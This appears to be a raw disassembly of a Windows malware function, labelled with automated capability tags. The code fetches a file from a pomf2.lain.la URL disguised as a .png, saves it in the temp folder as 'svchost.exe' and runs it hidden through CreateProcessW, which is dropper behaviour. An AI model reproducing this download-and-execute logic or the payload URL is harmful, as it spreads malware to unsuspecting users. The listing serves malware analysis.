Function at 0x401180
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x228
mov eax, dword [0x46c380]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
push edi
push str.https:__pomf2.lain.la_f_xjhxbgp5.png
lea ecx, [esp + 0xc4]
call fcn.004019f0
push str.svchost.exe
lea ecx, [esp + 0x8c]
call fcn.004019f0
lea eax, [esp + 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [esp + 0x14], esi
test eax, eax
je 0x4011e8
lea eax, [esp + 0x120]
jmp 0x40124d
push str.Failed_to_get_the_temporary_directory_path.
lea ecx, [esp + 0x44]
call fcn.004019f0
cmp dword [esp + 0x54], 0xf
lea eax, [esp + 0x40]
push 0x10
cmova eax, dword [esp + 0x44]
push str.Error
push eax
push 0
call esi
mov ecx, dword [esp + 0x54]
cmp ecx, 0xf
jbe 0x401248
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40123e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40123e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004570a5
add esp, 8
mov eax, 0x4697f8
push eax
lea ecx, [esp + 0x44]
call fcn.004019f0
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0x50]
mov edi, dword [esp + 0x88]
mov edx, dword [esp + 0x40]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x28], edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], edx
test ecx, ecx
jne 0x40128f
mov esi, 1
jmp 0x40192f
mov esi, dword [esp + 0x98]
mov eax, bind
sub eax, ecx
cmp eax, esi
jb 0x4019e1
cmp dword [esp + 0x18], 0xf
lea eax, [esp + 0x40]
xorps xmm0, xmm0
mov dword [esp + 0x70], 0
cmova eax, edx
movaps xmmword [esp + 0x60], xmm0
cmp dword [esp + 0x1c], 0xf
lea edx, [esp + 0x88]
mov dword [esp + 0x24], eax
cmova edx, edi
mov dword [esp + 0x74], 0
mov dword [esp + 0x10], edx
lea edi, [esp + 0x60]
lea edx, [esi + ecx]
mov esi, 0xf
mov dword [esp + 0xc], edx
cmp edx, esi
jbe 0x40137a
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401336
mov ecx, connect
mov esi, bind
add ecx, 0x23
push ecx
call fcn.00457070
add esp, 4
test eax, eax
je 0x4019b9
mov ecx, dword [esp + 0x50]
lea edi, [eax + 0x23]
mov edx, dword [esp + 0xc]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401372
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x401357
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4019e6
jmp 0x401312
test eax, eax
je 0x401370
push eax
call fcn.00457070
mov ecx, dword [esp + 0x54]
add esp, 4
mov edx, dword [esp + 0xc]
mov edi, eax
jmp 0x401372
xor edi, edi
mov eax, dword [esp + 0x24]
mov dword [esp + 0x60], edi
push ecx
push eax
push edi
mov dword [esp + 0x7c], edx
mov dword [esp + 0x80], esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x5c]
add esp, 0xc
add eax, edi
push dword [esp + 0x98]
push dword [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x18]
add esp, 0xc
mov byte [edi + eax], 0
lea eax, [esp + 0x60]
cmp dword [esp + 0x74], 0xf
push 0x469864
cmova eax, dword [esp + 0x64]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
jne 0x40185f
cmp dword [esp + 0x2c], eax
je 0x40185f
push 3
call fcn.00401f90
add esp, 4
call fcn.00401d90
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x401613
cmp dword [esp + 0xd4], 0xf
lea eax, [esp + 0xc0]
cmova eax, dword [esp + 0xc0]
push eax
push 0x2712
push edi
call fcn.004066f0
add esp, 0xc
push 0x401170
push 0x4e2b
push edi
call fcn.004066f0
add esp, 0xc
push dword [esp + 0x2c]
push 0x2711
push edi
call fcn.004066f0
add esp, 0xc
push edi
call fcn.00401df0
add esp, 4
test eax, eax
je 0x40160a
push eax
call fcn.00402840
add esp, 4
lea ecx, [esp + 0x88]
push eax
call fcn.004019f0
mov esi, eax
mov edx, dword [esi + 0x14]
mov eax, edx
mov ecx, dword [esi + 0x10]
sub eax, ecx
cmp eax, 0x1c
jb 0x401519
lea eax, [ecx + 0x1c]
mov edi, esi
mov dword [esi + 0x10], eax
cmp edx, 0xf
jbe 0x401499
mov edi, dword [esi]
cmp edi, 0x4698a8
jae 0x4014ca
lea eax, [edi + ecx]
cmp eax, str.curl_easy_perform___failed:
jb 0x4014ca
cmp edi, str.curl_easy_perform___failed:
ja 0x4014bd
mov dword [esp + 0xc], 0
jmp 0x4014d2
mov eax, edi
sub eax, str.curl_easy_perform___failed:
mov dword [esp + 0xc], eax
jmp 0x4014d2
mov dword [esp + 0xc], 0x1c
lea eax, [ecx + 1]
push eax
lea ecx, [edi + 0x1c]
push edi
push ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push dword [esp + 0xc]
push str.curl_easy_perform___failed:
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x18]
add esp, 0xc
mov edx, 0x1c
sub edx, eax
lea ecx, [eax + 0x4698a8]
add eax, edi
push edx
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
mov edi, dword [esp + 0x1c]
add esp, 0xc
jmp 0x40152d
push 0x1c
sub esp, 8
mov ecx, esi
push dword [esp + 0x2c]
push 0x1c
call fcn.00401c20
mov esi, eax
mov dword [esp + 0x50], 0
lea eax, [esp + 0x40]
mov dword [esp + 0x54], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x40], xmm0
movups xmm0, xmmword [esi]
push 0x10
push str.Error
movups xmmword [esp + 0x48], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [esp + 0x58], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp dword [esp + 0x5c], 0xf
cmova eax, dword [esp + 0x48]
push eax
push 0
call dword [esp + 0x24]
mov ecx, dword [esp + 0x54]
cmp ecx, 0xf
jbe 0x4015b7
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4015ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4015fa
push ecx
push edx
call fcn.004570a5
add esp, 8
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0xf
mov byte [esp + 0x40], 0
cmp ecx, 0xf
jbe 0x40160a
mov edx, dword [esp + 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401600
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401600
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004570a5
add esp, 8
push edi
call fcn.00401d70
add esp, 4
call fcn.00401f40
push dword [esp + 0x2c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [esp + 0x74]
lea eax, [esp + 0x64]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
add esp, 4
inc ecx
cmp dword [esp + 0x74], 0xf
mov dword [esp + 0x10], ecx
cmova eax, dword [esp + 0x60]
push 0
push 0
push ecx
push eax
push 0
push 0
call edi
mov esi, eax
mov dword [esp + 0xb0], 0
push esi
xorps xmm0, xmm0
mov dword [esp + 0xb8], 0
push ecx
lea ecx, [esp + 0xa8]
movaps xmmword [esp + 0xa8], xmm0
call fcn.00401b00
cmp dword [esp + 0xb4], 7
lea ecx, [esp + 0xa0]
push esi
cmova ecx, dword [esp + 0xa4]
lea eax, [esp + 0x64]
cmp dword [esp + 0x78], 0xf
push ecx
push dword [esp + 0x18]
cmova eax, dword [esp + 0x6c]
push eax
push 0
push 0
call edi
lea ecx, [esp + 0x30]
mov dword [esp + 0xd8], 0x44
push ecx
lea ecx, [esp + 0xdc]
mov dword [esp + 0x108], 1
push ecx
push 0
push 0
push 0x8000000
xor eax, eax
xorps xmm0, xmm0
cmp dword [esp + 0xc8], 7
push 0
mov word [esp + 0x132], ax
mov word [esp + 0x120], ax
lea eax, [esp + 0xb8]
cmova eax, dword [esp + 0xb8]
push 0
push 0
push eax
push 0
movlpd qword [esp + 0x104], xmm0
movlpd qword [esp + 0x10c], xmm0
movlpd qword [esp + 0x114], xmm0
movlpd qword [esp + 0x11c], xmm0
movlpd qword [esp + 0x124], xmm0
movlpd qword [esp + 0x132], xmm0
movlpd qword [esp + 0x13a], xmm0
movaps xmmword [esp + 0x58], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401782
push 0xffffffffffffffff
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x34]
call esi
xor esi, esi
jmp 0x4017fb
push str.Failed_to_start_the_process.
lea ecx, [esp + 0x8c]
call fcn.004019f0
cmp dword [esp + 0x9c], 0xf
lea eax, [esp + 0x88]
push 0x10
cmova eax, dword [esp + 0x8c]
push str.Error
push eax
push 0
call dword [esp + 0x24]
mov ecx, dword [esp + 0x9c]
cmp ecx, 0xf
jbe 0x4017f6
mov edx, dword [esp + 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4017ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4017ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004570a5
add esp, 8
mov esi, 1
mov ecx, dword [esp + 0xb4]
cmp ecx, 7
jbe 0x40183d
mov edx, dword [esp + 0xa0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401833
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4019b9
push ecx
push edx
call fcn.004570a5
add esp, 8
xor eax, eax
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 7
mov word [esp + 0xa0], ax
jmp 0x4018d8
push str.Failed_to_open_file_for_writing.
lea ecx, [esp + 0x8c]
call fcn.004019f0
cmp dword [esp + 0x9c], 0xf
lea eax, [esp + 0x88]
push 0x10
cmova eax, dword [esp + 0x8c]
push str.Error
push eax
push 0
call dword [esp + 0x24]
mov ecx, dword [esp + 0x9c]
cmp ecx, 0xf
jbe 0x4018d3
mov edx, dword [esp + 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4018c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4018c9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004570a5
add esp, 8
mov esi, 1
mov ecx, dword [esp + 0x74]
cmp ecx, 0xf
jbe 0x40190e
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401904
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4019b9
push ecx
push edx
call fcn.004570a5
add esp, 8
mov edi, dword [esp + 0x28]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xf
mov byte [esp + 0x60], 0
cmp eax, 0xf
jbe 0x40195b
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x401951
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4019b9
push ecx
push edx
call fcn.004570a5
add esp, 8
mov eax, dword [esp + 0x1c]
cmp eax, 0xf
jbe 0x40198b
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x401981
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4019b9
push ecx
push edi
call fcn.004570a5
add esp, 8
mov ecx, dword [esp + 0xd4]
cmp ecx, 0xf
jbe 0x4019c9
mov edx, dword [esp + 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4019bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4019bf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004570a5
add esp, 8
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.00457062
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401160
call fcn.004010c0
int3